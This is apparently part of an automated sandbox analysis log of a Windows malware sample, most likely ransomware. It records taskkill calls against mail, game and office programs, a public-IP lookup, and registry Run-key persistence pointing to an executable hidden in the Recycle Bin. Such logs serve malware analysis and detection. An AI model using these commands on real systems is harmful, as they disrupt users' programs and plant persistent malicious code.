C:\Windows\SysWOW64\taskkill.exetaskkill /im steam.exe3⤵
- Kills process with taskkill
PID:3844
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im thebat.exe3⤵
- Kills process with taskkill
PID:2564
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im thebat64.exe3⤵
- Kills process with taskkill
PID:580
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im thunderbird.exe3⤵
- Kills process with taskkill
PID:3472
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im visio.exe3⤵
- Kills process with taskkill
PID:2192
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im winword.exe3⤵
- Kills process with taskkill
PID:2748
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im wordpad.exe3⤵
- Kills process with taskkill
PID:4028
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c echo %date%-%time%2⤵PID:3972
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ver2⤵PID:3732
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com2⤵PID:1040
-
C:\Windows\SysWOW64\nslookup.exenslookup myip.opendns.com. resolver1.opendns.com3⤵PID:2720
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f® delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f2⤵PID:2868
-
C:\Windows\SysWOW64\reg.exereg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f3⤵PID:2732
-
-
C:\Windows\SysWOW64\reg.exereg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /f3⤵
- Modifies registry key
PID:812
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Updaters /t REG_SZ /d c:\$Recycle.Bin\RCRU_64.exe /f® add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /t REG_SZ /d c:\$Recycle.Bin\RCRU_64.exe /f2⤵PID:2116
-
C:\Windows\SysWOW64\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Updaters /t REG_SZ /d c:\$Recycle.Bin\RCRU_64.exe /f3⤵
- Adds Run key to start application
- Modifies registry key
PID:1520
-
-
C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Machin_Update /t REG_SZ /d c:\$Recycle.Bin\RCRU_64.exe /f3⤵
- Adds Run key to start application
PID:3032
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2572